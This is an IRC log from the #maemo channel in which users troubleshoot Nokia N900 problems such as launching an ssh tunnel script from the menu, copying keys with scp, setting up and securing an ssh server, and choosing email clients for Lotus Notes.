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| 01:34.36 | fredrin | jacekowski, why OC [l]user? |
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| 01:38.27 | nox- | OC is just OC, if it really was safe the higher speed would be default dont you think? :) |
| 01:39.29 | fredrin | nah |
| 01:40.39 | nox- | mm |
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| 03:36.24 | paulanagrama | hi. how can I add a script to the application menu? |
| 03:37.12 | johnx | make a .desktop file for it |
| 03:37.33 | johnx | I think those .desktop files hang out in /usr/share/applications or a subdirectory of that |
| 03:38.34 | paulanagrama | thanks johnx |
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| 03:45.45 | paulanagrama | ok, If I have in the .desktop file the line Exec=/usr/home/ssh-status.sh, when I click on the icon in the menu, the script is not run... any idea why? |
| 03:46.18 | johnx | just the usual ideas: is it executable? is /usr/home actually where it lives? |
| 03:47.33 | paulanagrama | you right :-) it is in /home/user not in /usr/home |
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| 03:48.23 | johnx | also, /home/user/script.sh is ok, but /home/user/MyDocs/script.sh is not ok, since /home/user/MyDocs is a FAT fs and scripts can't be executed from it (by default) IIRC |
| 03:48.34 | paulanagrama | ok |
| 03:48.38 | paulanagrama | let me try |
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| 04:09.11 | paulanagrama | ok. so my script creates a ssh tunnel. if I run the script in terminal, the tunnel is created as it should. if I run the script from the desktop file (clicking on the icon in the app menu), I get the message that the tunnel was created, but if I check with ps, the tunnel is not running. the question is, what's the difference between running a script in terminal and starting it from the app menu? |
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| 04:25.35 | paulanagrama | this is my script. when I start it from the menu, I get to the ssh tunnel creating command (line 36) because the proxy is enabled (lines 28 to 35), but the tunnel is not created |
| 04:25.46 | paulanagrama | http://pastie.org/1171514 |
| 04:26.11 | paulanagrama | if I run the same script from terminal, the tunnel is created |
| 04:29.31 | luke-jr | paulanagrama: just use CLI like a man! |
| 04:30.01 | paulanagrama | what do you mean luke-jr? |
| 04:30.30 | johnx | paulanagrama, my wild guess is that it's $PATH related |
| 04:30.42 | luke-jr | I think my meaning is perfectly clear, kthx |
| 04:31.07 | johnx | paulanagrama, luke-jr is being a troll, like usual. don't worry about him |
| 04:31.17 | paulanagrama | hehe |
| 04:31.17 | johnx | my other thought is that ssh might want a controlling terminal |
| 04:31.27 | luke-jr | johnx: not if you put -N |
| 04:31.43 | johnx | hence (thought ... might) :) |
| 04:32.01 | luke-jr | -N disable troll mode |
| 04:32.04 | luke-jr | rtfm! |
| 04:32.31 | johnx | and do think all this time I just wasn't passing you the *right* argument. heh |
| 04:33.21 | paulanagrama | I'll try to move the script in /usr/sbin and see if that makes any difference |
| 04:33.42 | johnx | that would probably be even less good |
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| 04:34.24 | johnx | if it was me, I'd just start logging all output to a file |
| 04:34.46 | johnx | but I've been known to take the easy way out ;) |
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| 04:38.47 | paulanagrama | yeah, just the same in that dir too. under what user are the applications started when you run them from the app menu? |
| 04:39.06 | johnx | same user as on the command line |
| 04:39.46 | paulanagrama | on the command line I run it as root |
| 04:40.03 | johnx | aaaah, huh |
| 04:40.52 | paulanagrama | hmm. probably I need to get a certificate for ssh under user too |
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| 04:47.35 | dr34m | hm this is weird |
| 04:47.51 | dr34m | i woke up this morning booted my n900 but ssh wont work anymore from xterm |
| 04:47.57 | dr34m | seems to be gone lol :| |
| 04:48.20 | johnx | uhm, little more detail needed :P |
| 04:48.34 | dr34m | ssh not found ;) |
| 04:48.51 | johnx | result of: ls -l /usr/bin/ssh |
| 04:48.53 | johnx | ? |
| 04:49.28 | dr34m | yeah need to install again but still why its gone in first place |
| 04:49.57 | johnx | dr34m, yeah, without a bit more detail, all I can do is make something up |
| 04:50.00 | dr34m | think my phone develops own life |
| 04:50.16 | dr34m | mom |
| 04:50.27 | johnx | your government is taking away any software that enables high security encryption |
| 04:50.31 | johnx | and Nokia is helping them |
| 04:50.41 | johnx | also, all of us in here are members of the CIA |
| 04:50.46 | paulanagrama | I think my problem is that I don't have auto login for ssh under the user. I can't fix it now because I need access to the server to copy the certificate... but I think that's the problem |
| 04:51.19 | johnx | well, log into the server as root. root has auto-login, right? |
| 04:51.38 | paulanagrama | yeah |
| 04:51.49 | jpinx-eeepc | anyone able to help me debug the usb networking between the n900 and my eeepc? I get a positive answer in syslog in the eeepc of the plugin event and the renaming of the interfce, but the n900 dmesg is full of crud :/ |
| 04:51.55 | jpinx-eeepc | such as " [115043.418914] musb_hdrc periph: enabled ep7in for int IN, maxpacket 16 " |
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| 04:52.31 | jpinx-eeepc | and ping is giving me an invalid argument reply |
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| 04:53.45 | johnx | invalid argument? full output? |
| 04:53.52 | paulanagrama | johnx, I have the ssh password, I can ssh under the user too, but I have to create a certificate that resides on the server and then copy it to n900 in .ssh in the user's home... and I can't (I don't know how) to copy the certificate from here. The server is my office computer. I'll do it tomorrow |
| 04:54.11 | johnx | scp :) |
| 04:54.30 | jpinx-eeepc | johnx: black901eeepc:/home/johnp# ping 192.168.2.15 |
| 04:54.30 | jpinx-eeepc | PING 192.168.2.15 (192.168.2.15) 56(84) bytes of data. |
| 04:54.30 | jpinx-eeepc | ping: sendmsg: Invalid argument |
| 04:55.01 | johnx | huh |
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| 04:55.11 | johnx | I can't remember if that's normal or not |
| 04:55.45 | paulanagrama | yeah, I am too lazy now to look into scp or to install filezilla... I'm watching dancing with the stars in the same time. thanks for help johnx, I know what is wrong now |
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| 04:55.47 | dr34m | apt-get install openssh-client did it again |
| 04:56.00 | jpinx-eeepc | not normal - and from the n900 there is no response to pin |
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| 04:56.42 | jpinx-eeepc | johnx: this has been an intermittent pita on reconnecting the usb network |
| 04:56.46 | johnx | paulanagrama, cheat sheet: scp file.txt user@example.com:/path/to/dir/ |
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| 04:57.40 | johnx | 's new purpose in life: to interrupt people who are watching dancing with the stars |
| 04:57.47 | jpinx-eeepc | or use sshfs ;) |
| 04:58.22 | johnx | sshfs isn't on every machine with openssh ;) |
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| 04:59.27 | jpinx-eeepc | admins his fs with sshfs from the eeepc's pcmanfim - too easy |
| 04:59.52 | paulanagrama | ok, let me try. |
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| 05:00.31 | jpinx-eeepc | johnx: so what am I looking for in dmesg when I plug the usb network cable into the n900? |
| 05:01.53 | jpinx-eeepc | when I plug or unplug it, the PCsuite option comes up, but there is no sensible entry in dmesg;/ |
| 05:01.59 | johnx | jpinx-eeepc, dunno |
| 05:02.07 | MohammadAG51 | Shapeshifter, reactionfaceoff works now |
| 05:02.10 | jpinx-eeepc | and there is no syslog to tail |
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| 05:09.10 | paulanagrama | johnx, so scp file.txt user@example.com:/path/to/dir/ copies the file.txt from the server to the local machine in current dir? |
| 05:09.21 | johnx | nope |
| 05:09.24 | johnx | it's just like cp |
| 05:09.29 | paulanagrama | ok |
| 05:09.50 | johnx | remote to local: scp remote:/path/file.txt /localdir/ |
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| 05:10.21 | johnx | the only rule is that, IIRC, at most one can be remote |
| 05:11.32 | MohammadAG51 | actually i think two remotes are possible |
| 05:11.38 | johnx | huh |
| 05:11.39 | MohammadAG51 | but it will be painfully slow |
| 05:11.57 | MohammadAG51 | you act as a link between the two remotes |
| 05:12.31 | johnx | well you're right. wow. I've been thinking that wasn't possible for the longest time |
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| 05:19.50 | paulanagrama | YES! works now. |
| 05:20.11 | johnx | hot sauce |
| 05:20.21 | johnx | also: scp is totally invaluable and will change your life :) |
| 05:21.21 | paulanagrama | I'm using that script to create a secure http tunnel from my n900 to my computer, so if I'm on unsecured wifi somewhere and I want to access my bank I don't have to worry... |
| 05:21.39 | paulanagrama | now I have a way to start it easy from the menu! |
| 05:23.06 | jpinx-eeepc | johnx: it's gremlinss -- I unplugged and replugged after a minute, was reading dmesg and suddenly it started pinging :/l |
| 05:23.25 | johnx | I hate USB gremlins |
| 05:23.28 | jpinx-eeepc | my n900 is definitely female |
| 05:23.40 | jpinx-eeepc | moody and contrary :D |
| 05:23.52 | jpinx-eeepc | ducks and runs |
| 05:24.02 | paulanagrama | thanks for the help. see ya all |
| 05:24.03 | visz | passes out just when you get excited? |
| 05:24.05 | johnx | but still the object of your desire |
| 05:24.10 | johnx | 'later paulanagrama |
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| 05:25.37 | jpinx-eeepc | yea - something like all of that :) |
| 05:25.49 | jpinx-eeepc | works a treat when it works :) |
| 05:26.20 | johnx | and then you fall asleep and it still has battery life for another 6 hours |
| 05:26.22 | johnx | ducks |
| 05:26.41 | jpinx-eeepc | heh - you get that problem too? ;) |
| 05:27.13 | jpinx-eeepc | sticks a usb charger up johnx s ..... |
| 05:27.16 | johnx | nah, I just plug my N900 in at night. Dunno what you're talking about ... |
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| 06:17.13 | lolloo | I installed openssh client and server, now how can I run it? |
| 06:17.52 | johnx | the server is running |
| 06:17.54 | mece | lolloo, it's running |
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| 06:18.45 | toggles | yup, i'm logged in right now |
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| 06:19.43 | lolloo | how can I login? |
| 06:19.50 | jpinx-eeepc | just ssh root@192.168.1.11 (or whatever ip shows in ifconfig) |
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| 06:21.32 | lolloo | so if someone logged in my server can take control of my n900..: |
| 06:21.35 | lolloo | ? |
| 06:22.26 | rmrfchik | i already did |
| 06:22.29 | rmrfchik | wait, logging off |
| 06:22.32 | jpinx-eeepc | you have a password |
| 06:23.00 | lolloo | yes I made a password. is it safe now? |
| 06:23.43 | lolloo | is there a way to login from my pc witn windows to my N900? |
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| 06:24.01 | jpinx-eeepc | lolloo: putty |
| 06:24.15 | lolloo | whats that? |
| 06:24.32 | jpinx-eeepc | google - it's ssh from windows |
| 06:24.41 | lolloo | ok |
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| 06:25.24 | lolloo | so what is the main use of openssh? |
| 06:26.28 | jpinx-eeepc | is it available for wondows? |
| 06:26.54 | johnx | lolloo, why did you install openssh if you don't know what to use it for? |
| 06:27.10 | lolloo | I saw the chat here |
| 06:27.23 | visz | openssh works with cygwin? |
| 06:28.01 | johnx | you can get a shell on your N900 from your desktop. Also, you can use it to transfer files with filezilla or another ftp/sftp client |
| 06:28.03 | johnx | that's about it |
| 06:28.13 | lolloo | wow |
| 06:29.12 | jpinx-eeepc | there are some differences / restrictions, but with sshfs I can view and modify the fs either locvally or remotely without issues |
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| 06:30.55 | lolloo | what is my ip to login? |
| 06:31.44 | jpinx-eeepc | lolloo: in the n900 open a Xterm and do ifconfig -a and you will see the local IP |
| 06:31.57 | lolloo | awesome, |
| 06:32.05 | jpinx-eeepc | you might have to be root - can't remember |
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| 06:32.25 | MiXu- | yeah you do |
| 06:32.29 | lolloo | how do I close connection or open it? |
| 06:33.08 | lolloo | i got 1270.0.1 |
| 06:33.12 | johnx | to exit type "exit" |
| 06:33.14 | lolloo | is that right IP? |
| 06:33.29 | lolloo | where do I type exit in? |
| 06:34.16 | johnx | yeah, you probably need to read up a bit more on how the command line and networking works in general before this will be very helpful to you |
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| 06:34.34 | lolloo | am using putty. |
| 06:34.43 | lolloo | what is my login name? |
| 06:34.54 | johnx | root |
| 06:35.44 | lolloo | awesome johnx |
| 06:35.56 | lolloo | now how do I transfer files? |
| 06:36.07 | johnx | get an sftp client, like filezilla |
| 06:36.15 | toggles | i thought is was user? |
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| 06:36.36 | johnx | root or user work, but openssh only makes you set a root password |
| 06:36.39 | ZogG | toggles dependes, you can config user i think |
| 06:37.01 | johnx | I get the feeling that lolloo hasn't set a password for user yet ... |
| 06:37.19 | lolloo | hahaha |
| 06:37.22 | lolloo | I did |
| 06:37.38 | lolloo | ok am using FireFTP, |
| 06:37.45 | lolloo | is it fine? |
| 06:37.50 | johnx | sure |
| 06:37.53 | lolloo | where do I put my IP? |
| 06:38.01 | johnx | no idea |
| 06:38.18 | jpinx-eeepc | what's the IP |
| 06:38.37 | jpinx-eeepc | should be 192.168.#.## |
| 06:38.43 | lolloo | 192.168.1.65 |
| 06:39.04 | lolloo | filezila says unable mmm |
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| 06:40.17 | lolloo | how do I run the server again? |
| 06:40.22 | lolloo | from my phone? |
| 06:40.45 | johnx | lolloo, it starts automatically |
| 06:41.52 | lolloo | is it running now? |
| 06:41.58 | lolloo | how do I stop it? |
| 06:43.08 | mece | xterm |
| 06:43.19 | mece | lolloo, root, /etc/int.d/ssh stop |
| 06:43.31 | lolloo | ok |
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| 06:45.31 | lolloo | congrats! worked! |
| 06:45.44 | lolloo | but how will it run if i close it? |
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| 06:52.05 | lolloo | I couldnt close the server. |
| 06:52.33 | lolloo | /etc/int.d/ssh stop |
| 06:52.37 | lolloo | i used this |
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| 06:53.08 | lolloo | didnt close it |
| 06:54.59 | MiXu- | I think there's some widget in repos that acts as an on/off switch for sshd |
| 06:55.05 | lolloo | wow |
| 06:55.07 | johnx | lolloo, exit |
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| 06:55.31 | johnx | lolloo, also: http://linuxcommand.org/learning_the_shell.php |
| 06:55.33 | lolloo | I would like to get it MiXu- |
| 06:55.40 | MiXu- | Well then go get it :D |
| 06:55.56 | MiXu- | It's in extras or extras-testing |
| 06:55.58 | johnx | MiXu-, I think he's asking for permission |
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| 06:58.49 | lolloo | omg thank you so much guys! |
| 06:58.55 | lolloo | it worked! |
| 06:59.20 | lolloo | really funl but which directory is my pictures? |
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| 07:04.28 | lolloo | what directory is my images on my N900? |
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| 07:05.35 | air | its /home/user/MyDocs/.images/ on the n8x0 |
| 07:06.36 | lolloo | awesome air! |
| 07:08.34 | air | same on the n900? |
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| 07:13.44 | lolloo | yes air |
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| 07:23.13 | lolloo | where can I find Maemo Notify plugin for xchat? |
| 07:23.25 | lolloo | where is it on my phone? |
| 07:24.28 | air | is it something xchat installed? |
| 07:24.48 | lolloo | yes. |
| 07:25.07 | air | dpkg -l xchat |
| 07:25.18 | lolloo | -l |
| 07:25.24 | air | that should display all files xchat installed |
| 07:25.50 | air | er -L |
| 07:26.01 | lolloo | haha yes |
| 07:26.28 | lolloo | its not installed |
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| 07:26.41 | lolloo | where is the plugin actuel directory? |
| 07:27.25 | air | no idea |
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| 07:34.51 | crashanddie | 'sup |
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| 07:37.09 | lolloo | I found the SSH status and switcher! YAY! |
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| 07:39.28 | lolloo | can anyone login to my ssh server? |
| 07:39.41 | crashanddie | not without a hostname, username and password. |
| 07:40.37 | lolloo | can you know my hostname from here? from IRC? |
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| 07:41.00 | Stskeeps | lolloo: you really don't want other people to ssh to your device |
| 07:41.23 | lolloo | yes I dont... I want to know how to protect it. |
| 07:41.34 | Stskeeps | put a proper password on it |
| 07:41.35 | Stskeeps | :P |
| 07:41.37 | mece | Stskeeps, why not? I have people ssh:ing to mine all the time. |
| 07:41.44 | air | disable password, use keys |
| 07:41.58 | crashanddie | lolloo: are you on 3G? |
| 07:42.00 | lolloo | is it possible for you guys to know my hostname from here? |
| 07:42.06 | crashanddie | yes |
| 07:42.10 | air | move server to a different port |
| 07:42.11 | lolloo | omg |
| 07:42.24 | crashanddie | but that only matters if you're directly connected to the internet, without any NAT |
| 07:42.28 | crashanddie | which I highly doubt |
| 07:42.41 | mece | crashanddie, why would you doubt that? |
| 07:42.43 | lolloo | I am using wirless |
| 07:42.50 | mece | crashanddie, ok. That's why :) |
| 07:43.02 | johnx | lolloo, just set a better password |
| 07:43.09 | johnx | the one you have now is too easy to guess |
| 07:43.17 | jpinx-eeepc | I've found the .osso-abook for the contact list, but where is the db of the messages/conversation? |
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| 07:43.33 | crashanddie | jpinx-eeepc: google el.db |
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| 07:43.41 | jpinx-eeepc | crashanddie: k |
| 07:44.42 | crashanddie | lolloo: you're using a wireless router, and there's a high probability that it is NAT'd. This means that it is difficult (although not impossible, given the proper configuration) for someone to enter your network and talk to devices directly. |
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| 07:45.46 | lolloo | sees |
| 07:45.51 | crashanddie | this being said, the issue isn't so much from the outside of the internet, but from your local network. |
| 07:46.07 | crashanddie | Don't forget that you'll be likely to connect your N900 to a bunch of different hotspots in the future |
| 07:46.25 | crashanddie | so just change the SSH port to a non-default one, and disable password authentication, only use key-based auth. |
| 07:46.51 | Surfa | in some countries incoming tcp connections are filtered in GPRS networks as well, so it's not necessarily problem there either.. but it depends |
| 07:46.55 | johnx | ok, just start by making up a better password |
| 07:47.18 | Surfa | changing server port is waste of time.. |
| 07:47.21 | crashanddie | Surfa: it's not really about incoming tcp connections being filtered |
| 07:47.42 | Surfa | crashanddie, why not? |
| 07:47.51 | crashanddie | Surfa: it's about shared IP addresses and the incoming routers (if they're listening at all) not knowing where to send the data |
| 07:48.17 | Surfa | i'm not talking about nat here |
| 07:48.18 | crashanddie | if everyone had unique IP addresses on 3G/GPRS, then you would still get pwned immensely |
| 07:48.32 | crashanddie | you really believe your 3G IP address is unique? |
| 07:48.38 | crashanddie | that nobody else is using it? |
| 07:48.46 | Surfa | i dont' need to think so because I know it is |
| 07:49.01 | crashanddie | well, then you're a lucky person (well, not really, no use), and your ISP is an idiot |
| 07:49.12 | Surfa | the time I'm using it, after closing the connection the case is totally different |
| 07:49.14 | jpinx-eeepc | what is the simplest application to read that db from the commandline, and maybe export it in plain text or .csv ? |
| 07:49.28 | crashanddie | jpinx-eeepc: sqlite |
| 07:49.36 | Jaffa | Morning, all |
| 07:49.51 | johnx | sqlite3 |
| 07:49.55 | johnx | the 3 is important |
| 07:50.01 | johnx | ask me how I know ... |
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| 07:50.11 | Surfa | crashanddie, idiots all over the place, but anyway many operators even that they offer public ip addresses filter out incoming tcp connections in some countries which gives protection of some kind |
| 07:50.19 | jpinx-eeepc | sounds like bad experience johnx ;9 |
| 07:50.29 | crashanddie | Surfa: I've only seen very few ISPs actually provided non-NAT'd services to 3G users. Well, including yours, that's 2. |
| 07:50.48 | johnx | jpinx-eeepc, I just didn't realize they were different commands. Bashed my head against a wall wondering why my database was 'corrupted' |
| 07:50.51 | Surfa | welcome to finland |
| 07:50.57 | crashanddie | heh |
| 07:50.57 | johnx | crashanddie, 3 |
| 07:51.01 | Surfa | here we have this thing called "reilu meininki" |
| 07:51.11 | tobis87 | crashanddie: Hi, any news yet on the wireless injection driver? |
| 07:51.11 | jpinx-eeepc | johnx: ok - thanks |
| 07:51.27 | crashanddie | tobis87: working on it, but life got in the way, I can email it if you want |
| 07:51.39 | crashanddie | it's not neatly packaged, but should do the trick |
| 07:51.45 | Surfa | it's not that uncommon, many operators offer parallel apn's that provide public ip-addresses for the users that feel to need it |
| 07:51.57 | crashanddie | kerio has it, he should be able to say if it worked for him or not |
| 07:52.16 | Surfa | and many natted apn's are suffering from capacity problems in nat tables (in finland) |
| 07:52.24 | kerio | still haven't tried that :| |
| 07:52.25 | tobis87 | crashanddie: Is it already source, or do you only have the neopwn binaries? |
| 07:52.32 | crashanddie | only binaries |
| 07:52.40 | kerio | i don't have a working usb port and it's my only phone at the moment so... |
| 07:52.41 | crashanddie | or ASM source if you want :P |
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| 07:53.50 | joga | is there *any* proper email client for n900? |
| 07:54.10 | joga | the default one is not. I'm thinking something like icedove |
| 07:54.23 | tobis87 | crashanddie: Ok, I can wait... It's not that I don't trust it, but I don't like using binary modules without knowing the src in general. I also have compiled the fcam drivers myself, I did had bad cflags inside the makefile -O2 -g |
| 07:54.53 | crashanddie | so you read the whole openoffice, firefox, and linux source code? |
| 07:55.17 | crashanddie | point taken though, working on it |
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| 07:56.36 | tobis87 | No, it depends. I read changes to drivers. I do trust drivers which come from mainland. |
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| 07:56.59 | crashanddie | I'm in France, does that count as "mainland"? |
| 07:57.16 | merlin1991 | crashanddie, nah, that counts as something else ; |
| 07:57.24 | merlin1991 | s/;/;)/ |
| 08:00.02 | crashanddie | why didn't infobot notice that one? |
| 08:00.09 | crashanddie | s/one/regex/ |
| 08:00.11 | joga | let me rephrase this: is the n900 default mail program the only email program available? |
| 08:00.32 | joga | not counting easydebian+icedove or such, that business people won't use |
| 08:00.47 | crashanddie | it's not an e-series phone |
| 08:00.51 | crashanddie | it's not aimed at business users |
| 08:00.57 | merlin1991 | crashanddie, I bet the ; is some sort of reserved char |
| 08:01.00 | crashanddie | which is something I've been crying about for ages |
| 08:01.05 | joga | I know, but no alternative email client? |
| 08:01.09 | merlin1991 | s/\;/\;pwnd/ |
| 08:01.10 | johnx | joga, I think there might be claws or something. not sure |
| 08:01.13 | merlin1991 | hm |
| 08:01.13 | joga | there's like 5 different browsers |
| 08:01.26 | kerio | browsers are cool |
| 08:01.28 | kerio | email clients are boring |
| 08:01.39 | crashanddie | joga: which should tell you about the state of fat-client email clients |
| 08:01.39 | joga | it's not that *I* need it, but I was asked about it |
| 08:02.02 | joga | and I admit it would be kind of cool to, say, being able to sort the messages |
| 08:02.09 | joga | and if it would even show all the messages there too |
| 08:02.13 | crashanddie | as opposed to gmail, hotmail, foomail |
| 08:02.37 | joga | in this case the problem is using lotus notes mail :) |
| 08:02.49 | joga | (and the webmail for that stinks just as bad as notes itself) |
| 08:02.49 | flux | joga, there appear to be some: qmfmail - The Qt Mail Application, claws-mail - A GTK+ based, lightweight, and fast e-mail client. and trojita - A Qt IMAP e-mail client |
| 08:03.02 | flux | (there I found by using 'apt-cache search') |
| 08:03.07 | flux | (these, even) |
| 08:03.14 | joga | hmm...I guess those don't show up in my fam |
| 08:03.24 | flux | they could come from extras-devel |
| 08:03.33 | flux | in other words, quality not guaranteed :-) |
| 08:03.35 | joga | k, so nerd solution :) |
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| 08:04.22 | flux | yeah, they all come from extras-devel |
| 08:04.24 | crashanddie | joga: does notes provide POP/IMAP read access? |
| 08:04.31 | joga | crashanddie: yes, imap4 |
| 08:04.35 | flux | apparently there's an itch people want to scratch :) |
| 08:04.40 | crashanddie | then use gmail to access it :P |
| 08:04.47 | joga | ...no :) |
| 08:04.54 | joga | it has its own webmail too |
| 08:05.48 | crashanddie | webmail != good interface |
| 08:06.13 | joga | it's simply not acceptable to use gmail for any of this |
| 08:06.34 | crashanddie | it isn't? |
| 08:06.36 | joga | nope |
| 08:06.59 | joga | (in this case. I work at the university, and these people's mail don't belong to google) |
| 08:08.20 | joga | hmm, qmfmail does show up, I guess it's in -testing |
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| 08:09.13 | joga | actually someone at some meeting proposed using google calendar and was quickly thwarted by the security folks |
| 08:09.37 | joga | but I'll try qmfmail and see if it can handle notes.. |
| 08:09.41 | crashanddie | lol |
| 08:10.26 | crashanddie | if you're using notes, you're most probably part of an organisation (or government branch) that buys the IT services from another company |
| 08:10.51 | joga | we host the notes servers |
| 08:10.57 | crashanddie | and? |
| 08:11.09 | joga | we don't host gmail |
| 08:11.12 | joga | ::) |
| 08:11.14 | joga | -: |
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| 08:11.39 | joga | there's probably thousands of systems in use here, some more critical than others |
| 08:11.55 | crashanddie | so the people who work in your IT department are not contracted? |
| 08:11.56 | joga | notes is something of a burden |
| 08:12.00 | joga | no |
| 08:12.13 | crashanddie | Well yeah, notes is one of those PITA solutions that overstayed its welcome |
| 08:12.31 | joga | yeah, no direct replacement exists |
| 08:12.42 | crashanddie | do you use it for project management, bug tracking and all too? |
| 08:12.43 | joga | and it would be a ... *huge* job to even migrate to it :) |
| 08:13.11 | joga | it's used for all sorts of things... |
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| 08:13.32 | crashanddie | my last contracting gig was just that -- bug tracking on one side in lotus notes, and we were supposed to manually commit them into my company's bugtracker |
| 08:14.12 | crashanddie | I quickly wrote a python script that would get the new/update fixes, send them as patches to my inbox, queue them up for testing, and would commit them immediately to the real bugtracker |
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| 08:14.27 | merlin1991 | hehe |
| 08:15.04 | crashanddie | It's funny though, I was probably doing something illegal by doing that |
| 08:15.08 | crashanddie | fucking stupid government guideilnes |
| 08:15.14 | crashanddie | s/iln/lin |
| 08:15.21 | kerio | how's that illegal |
| 08:15.53 | crashanddie | kerio: I think I read that we weren't allowed to interact with production servers unless the tools used to access them were approved by a manager |
| 08:16.04 | crashanddie | and signed off by the customer |
| 08:16.24 | merlin1991 | rofl |
| 08:16.55 | crashanddie | technically speaking, I wasn't allowed to talk to specific people on the same floor as me -- because I was representing an exterior commercial entity, and they were influential decisionmakers. |
| 08:17.11 | kerio | hahaha |
| 08:17.34 | merlin1991 | sounds like fun |
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| 08:17.48 | crashanddie | The day the building flooded, I really felt like just legging it and not telling anyone so they'd drown: "I wasn't allowed to talk to them!!!" |
| 08:17.55 | nidO | the irony of influential decisionmakers who are so easily influenced that you cant talk to them |
| 08:18.06 | crashanddie | nidO: innit |
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| 08:18.55 | crashanddie | nid0: truth is, you're probably more likely to influence decisions by talking to 200 low-levels than 1 high-level. |
| 08:19.09 | crashanddie | The low-levels aren't expecting to be paid off with a villa in the south of france. |
| 08:19.31 | joga | qmfmail can handle notes mail better, it seems, but the UI is cramped to say the least |
| 08:20.32 | jpinx-eeepc | johnx: ffx sqlite add-on :) |
| 08:21.10 | johnx | wow. coolness |
| 08:21.19 | mece | is there a blacklist app for N900? I've got an anormous list of telemarketing phone numbers. |
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| 08:21.26 | joga | but yeah, it "kinda" works at least. the n900 email program simply hid the new messages and called them expunged, and showed two inboxes |
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| 08:24.26 | joga | also funny thing: the usernames for Notes can either be used in short form "johndoe" or long form "John Doe/dept/Our University", and the first time I entered the account info in mail, it didn't complain about long form |
| 08:24.49 | joga | now that I went to edit it, it says " " is invalid for the field, and the username field is empty, gray, and unmodifiable |
| 08:24.59 | joga | so I guess now I have to delete the account and do it again or something... |
| 08:25.09 | crashanddie | it's thinking you're doing a perl replace |
| 08:25.12 | crashanddie | :D |
| 08:25.39 | crashanddie | perl: Error: "Our University" is an illegal modifier for regex /dept/ |
| 08:25.46 | joga | heh |
| 08:25.50 | mece | LOL |
| 08:26.02 | joga | it actually says 'Field unable to contain " "' |
| 08:26.12 | kerio | to be fair, having / in a username is just plain stupid |
| 08:26.21 | joga | kerio, notes *IS* plain stupid |
| 08:26.22 | joga | :) |
| 08:26.29 | kerio | yeah, that was the logical conclusion |
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| 08:28.55 | johnx | well, either Lotus isn't following standards or the mail program isn't ... |
| 08:29.06 | merlin1991 | or both |
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| 08:32.35 | psycho_oreos | ~seen |
| 08:33.04 | joga | qmfmail seems to handle it without problems at least... |
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| 08:33.12 | joga | it's just unusable otherwise :) |
| 08:35.44 | jpinx-eeepc | johnx: fail to read sqlite3 in that add-on:( |
| 08:35.53 | johnx | ouch |
| 08:36.03 | johnx | but at least you knew that was something that could happen :) |
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| 08:36.47 | jpinx-eeepc | johnx: working on it.... |
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| 08:39.37 | crashanddie | johnx: lotus notes doesn't follow standards |
| 08:39.55 | crashanddie | johnx: / is an illegal character IIRC, and it only works within notse |
| 08:40.13 | johnx | then how do people with lotus notes get email from people ... ? |
| 08:40.26 | crashanddie | there's an alias |
| 08:40.57 | johnx | good guess, but in this case the email client is at fault: http://en.wikipedia.org/wiki/Email_address#Syntax |
| 08:41.22 | johnx | also, just because '/' is MUST be supported, doesn't mean that it 'SHOULD NOT' be used |
| 08:41.58 | flux | johnx, indeed, because most people just validate for characters that are valid per their gut-feeling |
| 08:42.06 | flux | other developers should take that into account. |
| 08:42.53 | johnx | phrased that one badly, but doing an s///g would take too long |
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| 08:45.22 | johnx | what I was trying to say was that there are a fair number of situations that 'MUST' be supported, even though the next line of the spec says that they 'SHOULD NOT' be used |
| 08:45.43 | johnx | such as, case sensitivity in the local part of the email address |
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| 08:51.32 | flux | well, servers can provide different interpretations of valid addresses, but surely email clients should be as permissive as possible? |
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| 08:52.41 | flux | and by different interpretations I of course mean the servers that finally deliver the messages to the inboxes; the intermediate servers again should be as permissive as possible |
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| 08:55.37 | psycho_oreos | any of you guys played with titan's power kernel? especially in the form of custom compiling and hopefully tinkered with extraversion tags |
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| 09:11.19 | mece | hmm can you make an infoprint stay longer than the 3 seconds or so it does by default I wonder? |
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| 09:23.05 | mece | aaaaw crap! trying to find reference manuals for python osso stuff is making me want to do drugs!! |
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| 09:25.27 | Appiah | you'll make killer apps! |
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| 09:36.42 | lolloo | how can I turn ON xchat plugin maemo notifier? |
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| 09:38.10 | mece | ok apparently infoprints can't be easily customized :/:/:/ |
| 09:38.14 | mece | bleh. |
| 09:38.34 | MNZ | good morning #maemo! |
| 09:38.57 | mece | just a tiny "timeout" variable with a default value would have made that function sooo much better |
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| 09:41.42 | lolloo | how can I turn ON xchat plugin maemo notifier? it's there but not working! |
| 09:41.54 | lolloo | good morning MNZ |
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| 09:42.43 | timeless_pidgin | Help! |
| 09:42.52 | mece | timeless_pidgin, what's up? |
| 09:43.19 | timeless_pidgin | I'm looking for a place where apple (probably steve jobs) explained the mistakes made by cell phone vendors |
| 09:43.30 | timeless_pidgin | It was probably the initial iphone launch |
| 09:44.26 | johnx | you mean where he explained about people not needing copy+paste or where he explained that people were holding cell phones wrong? |
| 09:45.23 | timeless_pidgin | Not iphone 4 |
| 09:45.40 | timeless_pidgin | Where he said that vendors let networks dictate features |
| 09:45.53 | timeless_pidgin | And how that led to garbage |
| 09:46.08 | timeless_pidgin | Iirc there were about 5 points |
| 09:46.25 | nidO | ah yes, shortly before the networks got apple to make tethering a lockable option that requires an extra payment to the carrier + itunes to unlock. |
| 09:46.49 | timeless_pidgin | Ignore that |
| 09:47.14 | timeless_pidgin | It's the principle that counts |
| 09:47.27 | timeless_pidgin | Link help wanted |
| 09:47.27 | mece | timeless_pidgin, this one perhaps? http://www.youtube.com/watch?v=gO420B02Q84 |
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| 09:48.04 | timeless_pidgin | http://www.youtube.com/watch?v=vZYlhShD2oQ perhaps? Dunno |
| 09:48.43 | timeless_pidgin | Is there a standalone youtube app? |
| 09:48.56 | timeless_pidgin | That supports urls like the above? |
| 09:48.57 | mece | zoutube if you talk about n900 |
| 09:49.01 | mece | hmm |
| 09:49.07 | mece | ni idea actually. |
| 09:49.16 | timeless_pidgin | I have zoutube... |
| 09:49.37 | mece | I don't remember how it works |
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| 09:50.40 | timeless_pidgin | Ah, the hidden search menu item does |
| 09:51.31 | mece | :) |
| 09:53.08 | mece | ok damn.. |
| 09:53.26 | mece | I wonder if I can do a while loop that checks whether the phone is ringing... |
| 09:54.34 | timeless_pidgin | Mece: my hit is bad, yours sounds promising |
| 09:55.23 | timeless_pidgin | kicks the zootube packager |
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| 09:55.54 | timeless_pidgin | It isn't a network app, it's multimedia! ! |
| 09:56.47 | mece | hehehe |
| 09:57.06 | mece | oh man. Steve Jobs is quite the douche |
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| 09:57.36 | crashanddie_ | please don't insult people cheaply |
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| 09:59.48 | lolloo | awesome video |
| 10:00.05 | dneary | Hi |
